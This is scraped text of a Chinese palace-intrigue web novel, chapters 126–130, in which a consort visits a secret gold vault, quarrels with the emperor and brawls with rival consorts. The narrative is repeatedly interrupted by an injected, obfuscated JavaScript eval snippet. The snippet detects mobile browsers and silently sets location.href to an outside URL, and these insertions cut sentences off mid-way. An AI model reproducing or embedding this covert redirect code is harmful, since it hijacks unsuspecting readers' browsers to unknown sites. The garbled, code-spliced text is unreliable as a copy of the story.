他赶忙起身,和二人拉开了距离。 他一介书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526553|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,最容易被打**,娘娘明知道还这样说,莫非是在敲打他? “娘娘,我就没想到跟他打。”万辛几口把饭扒拉完,把碗递给了秦嬷嬷,意思是自己还要一碗。 “不讲理的是他,郑家的恩怨跟他有个屁的关系啊。 我们首先是效忠轩辕陛下、再是效忠太子殿下和娘娘,管他什么郑将军,跟我们有什么关系?” 万辛用袖子擦了擦嘴上的油,没来得及咽下去的饭,像瀑布一样从嘴里喷出来。 沈安安无比嫌弃,用扇子挡住了下半张脸,“你别喷我一脸。” 万辛喉结滚动,赶紧把嘴里剩余的咽进了肚子里。 李汉民出声附和,“对对对。” 这万大人不愧是三朝元老,老奸巨猾的很,说的话滴水不漏。 他肯定是知道宫里遍布陛下的耳目,这才把陛下放在前头。 谁不知道他此番是跟着太子殿下回京的?那自然就是坚定的**了。 董聂骂着他,“放**狗臭屁,我就知道你这老不死的没安好心。” “娘娘,你可别信他的话,太祖皇帝手里,他就是个奸臣,我们大将军说的。” 沈安安眉头一蹙,“你以后能不能不要你家大将军大将军的? 这里是荣华宫,荣华宫是什么地方?陛下的后宫。 我就觉得万大人说的蛮有道理嘛,要以报效国家、效力陛下为先、为主。 你这么挂念你家大将军,要不你现在就回启南去吧。” 董聂一屁股又坐回了台阶上,“那不行。” 他兀自嘟囔着:“那我肯定还没出宫呢,就人头落地了,我只是有些鲁莽,我又不是傻子。” “不走是吧?不走那你就好好记住万大人刚才说的话。”沈安安冲董聂道。 董聂心不甘情不愿,“哼”了声,又鼻孔里应了声“嗯。” 沈安安瞥了一眼屋子里的夜亦天,她这样说,亦天心里总平衡了吧? 要不是夜亦天主动说她偏心,让她去猜他的心思,恐怕这辈子都猜不到重点上去。 沈安安视线收回来,冲万辛道:“赶紧吃,吃完就去守你的宫门,别一天天瞎往荣华宫跑。” 第126章 密室 “是娘娘,卑职记住了。”万辛应着,他可不敢违逆沈安安的意。 她挥了挥手,示意三个人都退下。 夜亦德来到她跟前儿,给她扇着扇子,开口道:“母妃,武大人让人传了信儿来,说是都安顿好了。 让你回京后,去宅子里看看。” 沈安安一听这个来兴趣了,登时就从太师椅上起来,顺其自然的牵住了夜亦德的手。 她回着:“那肯定是要去看看的,看看王坡都招了些什么人。” 她站在门口,叫着屋子里的人,“亦天啊,我们要去宫外的宅子里,你去吗?” 夜亦天没回答。 沈安安又问:“是不是赶路回来你累了不想动啊?那你就好好休息,我跟亦德去了啊?” 还是没回答。 她又道:“我们走了啊?” 直到她牵着亦德从荣华宫出来,都没听见夜亦天的声音。 “皇兄又怎么了?”夜亦天大大的眼睛里全都是疑惑,怎么感觉皇兄越来越古怪了? 沈安安揉了揉他的小脑袋,“没什么,你皇兄就是跟你性子不一样,你开朗活泼,他内向腼腆。 有时候不想说话太正常了,他想说的时候自然会说。” “可他以前也不这样啊。”夜亦德抓耳挠腮,怎么都想不明白。 “唉,别想了。”沈安安说道,“你是想不明白的,你又不是他肚子里的蛔虫。” 夜亦德听闻这话,抬眸看向她,十分认真的问着:“那母妃,到底要怎么样我才能做皇兄肚子里的蛔虫啊?” 这话把沈安安都听愣了。 好半晌,她方自言自语的说:“没救了没救了。” 出了宫门,就看到枭龙在一旁候着。 沈安安吹了声口哨,枭龙抬头看向她,不紧不慢的朝着她走过来。 沈安安抱着夜亦德,骑上枭龙的背,直奔宅子。 王坡给酒楼起了个名字,叫“失意楼。” 门口挂着两个大红灯笼,还安排了一美一丑两个女子,舞骚弄姿的在招揽客人。 沈安安翻身下马。 枭龙对这里轻车熟路,自己从侧门进去了。 那两女子作势就要扑过来献殷勤,沈安安一个警告的眼神,吓的她们退了回去。 酒楼压根就没有生意。 沈安安和夜亦德走进去,就看到王坡、武文义和杨士青围着坐在一张桌子前,正在享受美味佳肴。 酒香扑鼻,菜香飘逸。 院子里、走廊里、屋子里……忙碌的全都是店小二的身影。 “好啊你们三个坏怂。”沈安安见状,一步跨上前去,抬起手给他们一人来了一巴掌。 “招了一百多号人,一个客人都没有,全都是你们三个在享受,你们的良心被狗吃了吗?” “砰。” 沈安安一拳砸在了桌子上,盘子都被震起来了,噼里啪啦碎了一桌子。 “娘……老板娘。”王坡及时改了口。 “这大家都看着呢,我好歹是咱‘失意楼’的掌柜,你这样我很没面子的。” 王坡说着,招手叫了两个人过来,收拾桌子和地上的狼藉。 武文义弯腰把夜亦德抱了起来,王坡则是一左一右,把沈安安请到了厢房里。 “这不是刚开业嘛,而且杨大人和武大人也掏了银子,他们两位也是酒楼的老板。 我这招待老板,合情合理吧娘娘?但我跟他们两位说好了,最大的老板还是娘娘您。”王坡说道。 武文义和杨士青连连点头,“对对对。” 杨士青压低声音,说道:“娘娘,你找的这王掌柜,有两把刷子,我们藏金子的那个密室,总共有八个出入口。 狡兔才三窟,我们八个。” 他说着,满目赞赏的看向了王坡。 王坡负责督建的密室,连武文义一个工部侍郎都惊叹不已,是个人才,实乃大才。 王坡不知道动了哪儿,包厢里极其不起眼的一面墙毫无预兆和动静的打开了一条缝。 “娘娘,请。”王坡做了一个请的手势,让沈安安往里走。 她被两人说的一愣一愣,夜亦德牵着她的手,已经将人拉了进去。 密道是直通密室的,大概走了有两刻钟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534473|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密室厚重的石门打开,里面点着油灯,将整个密室都照亮了。 金子闪闪发光,头顶传来潺潺的流水声,上面确实是鱼塘没错了。 金子被分成了三份,为了方便进出,留了很宽一条通道。 王坡指着三个方向的三道绿色的石门,说道:“娘娘,这三条通道是马车能进出的。 天底下没有绝对安全的地方,万一有什么突发情况,你看,三堆金子能从这三个方向快速运出。” “娘娘,您往后稍微站站,我给您展示一下。” 王坡话音刚落,沈安安将夜亦德抱起来,退后了两步。 就见王坡吹灭了一盏油灯,一阵叮叮咚咚的水流声响起来。 不过一瞬之间,三堆金子已经分别被一面墙笼住了。 墙面和周遭没什么两样,严丝合缝的。 即便王坡将刚才吹灭的那盏油灯重新点亮,墙壁也没有收回去。 这着实让沈安安大开眼界。 夜亦德更是“哇!”一声惊呼出声,“还能这么神奇?” 王坡嘿嘿一笑,“小技术而已。” 沈安安伸手摸了摸墙,触感都跟其他的别无二致。 她笑呵呵的冲王坡竖起了一根大拇指,“你**真是个人才。” “没看出来啊,你还有这手艺,大才大才。” 夜亦德也真是开眼了,他冲王坡道:“大才大才,以后我的王府就交给你建造了,你要把大技术全给我用上。” 王坡微微颔首,道:“那本管家肯定给殿下尽心尽力的建啊。” 夜亦德竖起了一根大拇指,冲王坡点了点头。 忽地,夜亦德一双圆溜溜的漆黑眸子看向沈安安,“母妃,这里这么好玩,我们晚上把皇兄也带出来玩玩吧。” 沈安安敷衍的回着:“再说再说。” 她冲王坡道:“你把墙壁打开,我要再看看我的金子。” 这一次,王坡踹了一脚墙,又是一阵水流声响起,墙壁缓缓升起来,金灿灿的金子赫然出现。 沈安安把夜亦德放了下来,母子二人同时张开了双臂,脸贴到了金子上。 第127章告状 这一大一小出宫玩嗨了,哪里还记得要回宫? 宫门下钥了,夜不群去到椒房殿,发现只有楚妃在尽职尽责照顾皇后。 于是乎,派人出宫专门把郑婉婉捉了回去。 荣华宫也没让她回,直接就把人带到了椒房殿。 至于夜亦德,送去了太学院,安排了两个大学士,督促他秉烛夜读。 “去洗洗吧。”椒房殿书房内,灯火通明,夜不群坐在书桌前,手里捧着奏折在看,幽冷的声音说着。 “啊?”沈安安抬起双手,护在了自己胸前,“这样不好吧陛下?” 莫非是宫里传她侍寝传多了,陛下发誓要把流言变成真的? 这确实是皇帝给妃子撑腰的一种方式,但她不需要啊! “去。”夜不群没什么耐心,厉声呵斥了一声。 下一瞬,楚妃便带着几个宫女,前后左右把她拉到了另外一间屋子里。 是专门沐浴的地方。 都可以游泳的浴池里,热气氤氲。 是用粉色玉石铺就而成的,在这浴池里沐浴,就像是躺在桃花花瓣里一样。 “香香的。”沈安安说着。 闻不出来到底是什么花香,味道浓淡适中,不冲鼻,但满屋子都飘着香味。 宫女木讷的不接她的话,只动手将她的衣服扒掉了。 她作势就要进浴池时,被楚舒茗一把拉住了。 “贵妃娘娘,你在这里洗。”楚舒茗指了指一旁的木桶。 “浴池是皇后娘娘的。”她解释着。 沈安安嘟嘴道:“洗个澡还分高低贵贱啊?太欺负人了。” “妃子洗的干干净净,还不是为了伺候他?一天天屁事儿咋那么多?” 抱怨归抱怨,她还是爬进了木桶。 由于动作粗鲁,水花溅的到处都是。 楚舒茗拿着一方帕子,站在沈安安身后,给她擦着肩膀,“贵妃娘娘听说了吗?侯爷坑杀了两万楚家军。” “嫔妾也是上次听闻娘娘说了启西边境小镇的惨状,又知晓了那些小兵原都是些村镇百姓,惊闻这样的噩耗,着实被吓到了。 陛下好似也很生气,侯爷在勤德殿跪了好几个时辰,娘娘今日可别忤逆陛下,小心陛下责罚。” “好端端的,杀两万士兵干什么?他是不是有病?”沈安安自己搓着胳膊。 楚舒茗叹息一声,道:“听说是楚家军临阵脱逃。” “害,那就是找死,没啥可说的。”沈安安果断开口。 这句话,让楚舒茗接下来想说的话全部都不知道该如何开口了。 此前听沈安安说楚州边疆百姓的艰苦时,看她义愤填膺,还以为她是真的担心启西百姓。 可如今看来,并非如此。 楚舒茗将帕子搭在了木桶边缘,果然,想要成事,不能总想着去依靠别人,还是得自己绞尽脑汁的想办法。 楚舒茗眉头蹙着,低着头在一旁的椅子上坐下来,心里想着待会儿要如何向陛下开口,替那些将士们讨要一个公道。 半个时辰后,宫女捧着一套红色的织金长裙来。 衣服上身的一瞬间,冰凉的触感,好生舒服。 宫女又给沈安安梳了一个好看的发型,戴上了一顶绝美的发冠。 沈安安看着镜子里的自己,差点都没认出来,果然人靠衣装马靠鞍。 虽然她一直都知道自己漂亮,但还从来没像今天这么漂亮过。 难怪侍寝的妃子都要挖空心思的打扮,能让皇上次次见到都有新鲜感,那可不就能成为皇上的心尖宠吗? 沈安安被楚舒茗带回了皇后的卧房。 饶是夜不群,在抬眸对上沈安安时,都有一刹那的恍惚,仿若看见了曾经的安乐。 此时的沈安安,同安乐简直别无二致,以至于冰冷帝王许久都没把视线从她身上移开。 “陛下。”沈安安弯腰面向坐在椅子上的夜不群,脑袋左摇右晃,步摇被她摇晃的都快打在夜不群脸上了。 这一动作,让美好的画面荡然无存,夜不群瞬间就冷了脸。 示意她蹲在地上,开始给皇后讲故事。 沈安安照做,一屁股就坐在了地上。 她抖了抖袖子,用自己的袖子包住了皇后的手。 “皇后娘娘,你要是再不醒来,像这样好、这样舒服的布料,以后可就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534474|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是臣妾的了,还有这么好看的冠子。” “这世上可没真正的一生一世一双人,陛下的后宫美人儿多着呢,陛下又不是太监,哪儿能经得住诱惑啊。 别你再躺下去,皇后的位子都被人抢了去,等下你儿子没了你做后盾,也要被人给搞死。” “你看,这我还没像花蝴蝶一样勾引呢,陛下就做梦都想宠幸我了,你再睡下去,他都要把你抬走,跟我在这床榻上那啥啥啥了。” 沈安安口无遮拦,说完动作夸张的把两只手抬起来,护在了自己胸前。 夜不群:“……” 这些话简直跟污言秽语没什么两样,他何时表现出要宠幸她了?她别把皇后给气坏了。 “荣贵妃,谁让你同皇后说这些的?”夜不群思前想后觉得这话给安乐听了不妥当,出声提醒着。 “啊,不能说这些啊?那换别的说。”沈安安抬眸看了一眼他。 夜不群摆了摆手,示意她继续。 沈安安“嗯嗯”两声,清了清嗓子,声音都放大了,“那我可就敞开说了哈?” 夜不群沉着脸,点了点头,他的视线一直都盯着安乐的手在看。 上次之后,安乐又没了任何反应。 “这定国侯是真该死啊,他活埋人上瘾了,北戎人也就罢了,自己人他也不放过。” “埋一个人,得这么大的一个坑。”沈安安双臂张的开开的,“那两万人呢?得多大? 那些可怜的小士兵,挖坑的时候都不知道那就是自己的坟墓,还想着挖好了就能将功补过呢。” “这话又说回来,上战场打仗的,哪个敢说自己是常胜将军,一辈子一场败仗都没打的?” 她扭头问夜不群,“陛下,除了那临阵脱逃的两万人,跟着定国侯的**多少?” “六万。”夜不群冷声吐出两个字。 沈安安又面向安乐,继续开口:“天杀的,这踏马是会打仗的将军能干出来的事儿? 不是我王婆卖瓜自卖自夸,我带着几百人都能夺回失地、砍伤大将、活捉俘虏。 那挨千刀的定国侯呢?除了**他啥也不会,迟早轩辕的兵都死在他手上。” 第128章 狗咬狗 “是吧陛下?” “是吧楚妃?” 沈安安眨巴着一双大眼睛,看看夜不群又看看楚舒茗。 楚舒茗突然被点名,人都站的更直了。 她没料到沈安安这么大的胆子,看来一直以来她都低估了沈安安的能耐。 怎么办?觉得荣贵妃说的好有道理,好想给她竖一根大拇指。 可陛下没发话,楚舒茗不敢出声。 “楚妃你说话啊,到底你是楚州人,还是我是楚州人?” “连为故乡发声都不敢,你这样没人敢跟你做朋友。” 沈安安话音落地,楚舒茗扑通一声跪在了地上。 这话听在陛下的耳中,陛下肯定觉得是她刚才趁着给荣贵妃沐浴,怂恿荣贵妃说的。 谨小慎微过活的人、身后没有强大支撑、自己也没有能力主宰人生的人,就是想的太多。 即便别人根本就没觉得她有问题,她下意识也会认为自己有错。 楚舒茗这样的人,也实在可怜。 沈安安满目不解,嘟着嘴面带怒气的看向夜不群,“陛下,你干嘛吓楚妃,又不是她让臣妾说的这些话。” “本来就是嘛,你看你都往启西派的什么草包将军?算上定国侯七个了吧?愣是把楚家军给祸害完了。 怎么楚家军在楚家人手里就是边疆一霸,在你们手里就逢战必输?有问题的是你们吧。 不会打仗,那就让会打仗的去,任人唯亲也不是你这么个用法啊,你是皇帝,心胸要宽广一点儿,要海纳百川知道吗?” 楚舒茗:“???” 陛下也敢教训? 夜不群:“……” “你是不是觉得朕不会罚你?” 他脸色阴沉,巴掌几乎要控制不住,打向沈安安的脸了。 沈安安身子一起,由坐着变成了跪着,低着头,这下不说话了。 她们两个,能明显听到夜不群大喘气的声音。 跟沈安安在一起久了,楚舒茗觉得自己都要变成心直口快的人了。 这要是换作以前,她早说了八百句话哄陛下开心了。 但此时就像脑子被驴给踢坏了似的,想不到一句可以说出口的话。 沈安安还在扯她的袖子。 别说陛下了,现在她也开始生气了,到底袖子有什么好玩的? “滚出去。”夜不群一垂眸,就看到沈安安捏着两坨袖子在玩,登时就心里窝火,骂着二人。 沈安安:“多谢陛下,陛下万岁万岁万万岁,臣妾告退。” 夜不群:“???” 他严重怀疑沈安安愚笨。 她离开的时候,还拉上楚舒茗一起。 从椒房殿出来时,还把门口挂着的灯笼拿下来顺走了。 说是皇后娘娘的灯笼大,晚上照亮好用。 沈安安把灯笼插在自己背上,就像夜亦德插小风车那样。 然后她两只手捏着耳边的步摇,顶着一张笑脸问楚舒茗:“我新得的冠子好不好看?” 楚舒茗:“你就为了这个冠子惹陛下生气?” 沈安安摇头,“也不全是,还为了这身衣服?” 说着,她把灯笼拿下来,塞到了楚舒茗手里,可别把她新得的冰凉衣衫给烤坏了。 楚舒茗都气笑了,她竟然为了一身衣裳和一个冠子,不惜触怒龙颜,她脑子里到底装的都是些什么? 沈安安像个花蝴蝶一样,在炫耀她的衣裳。 刚拐了个弯儿,就跟皇贵妃独孤若兰、宁妃赵时意碰上。 赵时意定睛一看,小声对独孤若兰说着:“这是那年七夕佳节陛下给皇后打的冠子,怎么在她头上?” 楚舒茗提着灯笼,退到了墙边,冲独孤若兰福身行礼,“嫔妾参见皇贵妃。” 独孤若兰没理会楚舒茗。 李家今日推举了个女子入宫,白天独孤若兰听闻陛下一直都在勤德殿忙,便没敢去打扰。 照顾完三皇子,这会子她想着去找陛下问问,看李家这位嫡系的女子,该给个什么位份。 没成想这么倒霉,遇见了沈安安。 “你有什么好炫耀的?”独孤若兰脸色难看,许是嫉妒心作祟,她看沈安安是越发觉得不顺眼了。 “一顶皇后用过的旧冠子而已,显摆什么?对陛下而言,你就是个像皇后的提线木偶罢了。 连个替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第129章你胡闹,她温顺 沈安安脸上没丝毫怒气,声音也是不冷不热的。 近来一直都在奔波,导致她瘦了许多,看上去身子薄的就跟纸片一样。 大宫女怒红了双眼,馒头大的拳头朝着沈安安的脸就砸了过来。 沈安安原地站着不动,头微微一偏。 拳头落空。 这大宫女也是有两把刷子的,手收的极快。 一收一挥间,仿佛要将沈安安的脸砸个稀巴烂。 反正她家娘娘有王妃撑腰,打死一个没脑子的妃子,有什么要紧? “砰。” 拳头砸下。 赵时意在庆幸。 独孤若兰有些忐忑。 大宫女这结结实实的一拳,可是朝着沈安安的正脸去的。 她的确很讨厌沈安安,明明处处不如她,偏偏会讨陛下欢心,得了陛下的无上荣宠,还要四处炫耀。 讨厌是真的,可也没想过要沈安安的命。 “嘎嘣”清脆一声,是骨头断裂的声音。 所有人都猝不及防。 沈安安松开了大宫女断了的手,一把就提拎住了她的头发。 拖着到了墙边,抓着她的头发“砰砰”的将脑袋撞在了墙上。 大宫女还没来得及喊疼,沈安安已经抓起她的大拳头,塞进了她的嘴里。 “呜呜呜。”只剩下呜咽声,就像一头肥猪一样倒在了地上。 “荣贵妃,她是本宫的人,你也敢打?”独孤若兰后知后觉,冲沈安安喊着。 而她身后的宫女太监,吓的噤若寒蝉。 这荣贵妃简直就是母老虎。 “她打我的时候你怎么装哑巴?”沈安安仍抓着大宫女的头发。 “我好歹还是个妃子呢,她都敢以下犯上;那我一个贵妃,教训个不懂规矩的下人,还需要向谁请示吗?” 沈安安直起腰身来,轻轻抬起一只脚,踩在了大宫女的肩膀上。 她也不理会独孤若兰了,只问着大宫女:“你服不服?以后见了我你是绕着走,还是要继续作威作福?” 大宫女流着鼻血,看向了独孤若兰。 “我……” “看来是不服。”沈安安没耐心了,一脚将人踢开,足足踢出去了十几米远。 “你疯了?”独孤若兰瞳孔睁大,不可置信道。 “你简直目无王法,本宫要去求陛下做主,沈安安,这已经是你杀本宫的第二个人了。” 独孤若兰气的身子发颤。 “请便。”沈安安拍了拍手,提起自己的裙摆,另一只手拉着楚舒茗的胳膊,将人带走了。 独孤若兰吩咐着身边太监:“还不快请御医。” “是,是,娘娘。”太监战战兢兢的应着,小跑着去太医院了。 独孤若兰惊讶过后,是愤怒,继而是委屈。 她边红着眼睛边往椒房殿跑。 因为是皇后的椒房殿,她不敢大哭出声。 这要是换成勤德殿,她早一路哭喊着“陛下”飞奔而去了。 崔福拦也没拦住。 独孤若兰跑进书房,扯着夜不群的衣角顺势就跪在了地上,小声的哽咽着:“陛下,您要为臣妾做主啊。 荣贵妃这样欺负臣妾,臣妾日后没法替陛下打理后宫了,明天她就该打杀臣妾了。” 赵时意也跪在一旁,微微抬眸,倒是有些羡慕独孤若兰了。 在这群妃子里,她认识陛下最早,身后的仰仗也是最大的。 可陛下连她的手都没碰过,她始终想不到原因何在。 不光碰不到陛下,便是连皇后娘娘的椒房殿,她也是不能来的。 这一次是独孤若兰非要拉上她一起,让她来作证,她才能进来。 种种的迹象,都在向赵时意传达一个信号,陛下防着她。 “你总跟她过不去干什么?”夜不群抬起一只手,揉着眉心,真是懒得看独孤若兰一眼。 “并非臣妾小肚鸡肠,非要跟她计较,是她根本不把臣妾放在眼里。 臣妾好歹养育着三殿下,她这样欺辱臣妾,就是在欺辱三殿下,宫中谁人不知她现在是太子殿下的母妃啊。” 独孤若兰啪嗒掉着眼泪,声音也不敢太大。 虽然皇后的卧房在另外一间,但她还是害怕自己闹的动静太大,吵到了皇后。 “好几次了陛下,又是想射死臣妾、又是要打死臣妾的,她存心跟臣妾过不去。 陛下再由着她,臣妾都要被她欺负**,有她处处作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538507|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对,臣妾实在没办法做六宫表率了。” “宁妃,刚才你是亲眼看见的,你跟陛下说说。” 独孤若兰拿着帕子,擦着眼泪。 赵时意道:“荣贵妃确实出手重伤了人。” “陛下……”独孤若兰“哼哼”的更厉害了。 “好了。”夜不群低沉的声音,透着不耐烦,“你的性子如何,朕能不知道? 荣贵妃性子温和,若非你出言激怒,她怎会动手?朕为了一个陪嫁宫女,去责罚贵妃,这合宫规吗?” 独孤若兰不敢出声哭了,只能猛掉眼泪,陛下也太偏心了。 “她叫李什么?”夜不群垂眸看向独孤若兰,问着。 “什么?”独孤若兰哭红的双眼,对上他的视线。 她早把李家女的事儿抛到了九霄云外。 “朕看你真是蠢笨,记性也不好,从明日开始,宁妃帮着你一起管理后宫。”夜不群眼中嫌弃的神色,是那样的明显。 “臣妾遵命。”赵时意反应快,已经磕头谢恩了。 她回答着夜不群刚才的话,“陛下,今日入宫的是李氏嫡系女子,名唤李含萱,暂时住在臣妾的西华宫里。” “既在你宫里,那便由你教导她宫中礼仪与规矩,给个嫔的位份,赐封号“贤。”,册封所需的一应事务,你去找礼部。” 夜不群说罢,摆了摆手。 “是,臣妾遵命。”赵时意恭恭敬敬的应着。 有了夜不群的授意,她将独孤若兰搀扶起来,带着离开了椒房殿。 宫道里,宫女手中提着的灯笼,照亮了脚下的路。 “**,你现在高兴了?”独孤若兰无差别的骂着赵时意。 “原来你一直打着抢本宫手中权力的主意,难怪整天往本宫的倾兰宫跑。 赵时意,下一步你是不是就要从本宫手中抢走三皇子了?本宫告诉你,趁早打消你这不切实际的幻想。” “娘娘冤枉嫔妾了,陛下的心思谁猜得透?陛下定是心疼娘娘,这才把苦差事交由嫔妾打理的。 娘娘若是不满,那明日嫔妾就去找陛下,把这协理之权,让陛下交给荣贵妃好了。” 赵时意声音听上去娇娇软软的,但每句话都带着刺儿。 第130章拿着鸡毛当令箭 荣华宫。 已至午夜,沈安安还在摆弄她的冠子。 她让人在院子里点了灯笼,自己躺在太师椅上,手里拿着铜镜,仍在对着镜子左摇右晃。 她的旁边,蹲着毫无睡意的李汉民。 “娘娘,不能让小姐待在西华宫。” “所谓近朱者赤、近墨者黑,我们李氏一族,千辛万苦将人送进宫里来。 那是给娘娘和殿下送来的帮手,西华宫那位对朝中知根知底,怎会让小姐有好日子过?” 李汉民真是嘴巴都说干了,沈安安就是不吭声。 偶尔说一句,还是问他:“你看我新得的冠子好不好看?” 李汉民:“娘娘,您再好看臣也不敢夸啊,臣待在荣华宫里,本就有违宫规。” 别再传出他跟嫔妃有染,届时荣贵妃死不死**,他自己肯定是要人头落地的。 “娘娘,您正值盛宠,在陛下跟前儿吹吹枕边风,就当救小姐一命了,李氏一族定会记住这份恩情的。” “娘娘,不看僧面看佛面,哪怕是看在太妃和殿下的面子上,您也不能见死不救啊。” “娘娘,臣求您了。” 李汉民干脆给她跪下,砰砰就要磕头。 沈安安把铜镜往一旁的桌子上一丢,生气道:“你烦不烦啊?” “我好不容易歇息一晚,不用在椒房殿伺候人,你就要守在我面前给我找不痛快。 我又不是管后宫的人,再说了,那宁妃是皇贵妃的人,皇贵妃现在恨不得扒了我的皮。 我上赶着去,连我自己都没好日子过了,我惹陛下不开心了,亦天就要多遭一天的罪。” “烦**烦**。”沈安安把冠子拿下来,随意便往桌子上一丢。 她对这冠子的新鲜劲儿,已经过去了。 好看的东西能让人心情美丽,可也仅此而已。 心情不好的时候,同废物没什么两样,当然如果能卖银子的话,那就另说了。 “哎吆吆。”秦嬷嬷赶忙将冠子捧起来,“御赐之物,可不能随意毁坏,我拿进去放进柜子里了。” 莲花点了点头,表示让秦嬷嬷千万收好。 李汉民不知道夜亦天发生了什么。 当然了,就算知道,他也不会放在心上,李氏一族真正要扶持的人是二殿下。 他早已被家族潜移默化的影响,觉得李氏一族功劳甚伟,也该他们的血脉出一位帝王了。 “二殿下也没回来,对了娘娘,二殿下去哪儿了?”李汉民惊觉后问着。 夜亦天是在荣华宫被带走的,这他知道。 但夜亦德跟着沈安安去了一趟宫外,就不知去哪儿了。 “在太学院。”沈安安言简意赅的回着。 她从太师椅上起身,转身便进了屋子。 李汉民追了两步,见莲花把房门关上了,他也只好止步。 与此同时,西华宫里。 赵时意坐在主位上,她面前跪着的是李含萱。 “本来嘛,这教规矩是嬷嬷们的活儿,但陛下心疼贤嫔妹妹,便让本宫亲自教导了。” “既是陛下的旨意,本宫也只能尽心尽力了,贤嫔妹妹可千万别觉得辛苦。 本宫若是心疼你,让你少跪几个时辰,那才是害了你呢。 到时候你规矩没学好,惹了陛下不开心,你弄丢的可就是你全族和你的命了。” 赵时意睥睨着李含萱。 她话音刚落,一旁站着的大宫女微蓝,一竹条打在了李含萱的腰上。 竹条又细又韧,夏日的衣衫又薄,打上去很疼。 “还敢弯腰,真是没教养的东西。”微蓝又是一竹条,狠狠落下。 李含萱疼的眼眶泛红,从小娇养长大的千金小姐,哪里受过这样的皮肉之苦? 自从进了这西华宫,她便跪着了,已经过去了好几个时辰。 此时她只觉得,自己下半截身子都失去了知觉。 “贤嫔妹妹这是觉得委屈了?”赵时意伸出一只手,勾起她的下巴。 李含萱摇了摇头,正要开口说话时,“啪”一个响亮的耳光,打在了她脸上。 她十分不解,睁着杏眼看向赵时意。 赵时意是习武的人,这一巴掌打下来,李含萱的脸登时就肿胀了起来,要是再用点力,这张脸就毁了。 赵时意把受的气,全都撒在了李含萱身上。 纵观整个后宫,也就这新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546051|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的李含萱是她能欺负的。 “宁妃娘娘,嫔妾做错了什么?”李含萱哭着问。 “微蓝,教她规矩。”赵时意不回答,只命令着贴身宫女。 “是,娘娘。”微蓝应了声。 她嘴角一抽,手上的竹条尽数落在李含萱的身上。 也不管打在了哪里,反正竹条抽不毁容。 赵时意把从小学规矩的千金小姐,都折磨的出声求救了。 动静实在太大,惊动了离得不远的东栾宫。 楚舒茗实在是听不下去了,便动身去了西华宫。 “宁妃,李氏一族对轩辕有大功,你如此做法,就不怕陛下知晓?”楚舒茗说着就要去搀扶李含萱。 不料想,微蓝一竹条下来,连她一起打了。 “你放肆。”楚舒茗也是没料到,后知后觉的呵斥着微蓝。 “来的正好。”赵时意抬了抬手,她宫里的太监立刻会意,将西华宫的殿门给关上了。 “楚舒茗,之前是本宫不把你放在眼里,你莫不是觉得本宫怕你吧? 你来的正好,本宫正愁着如何给义父分忧呢,你说要是陛下知晓你楚舒茗乱用禁药,同太监厮混,陛下会不会因此而迁怒于启西呢?” “微蓝,拿东西来。”赵时意命令着。 “赵时意你敢?”楚舒茗惊慌道。 下一瞬,已经有两个太监,将她强行摁着跪在了地上。 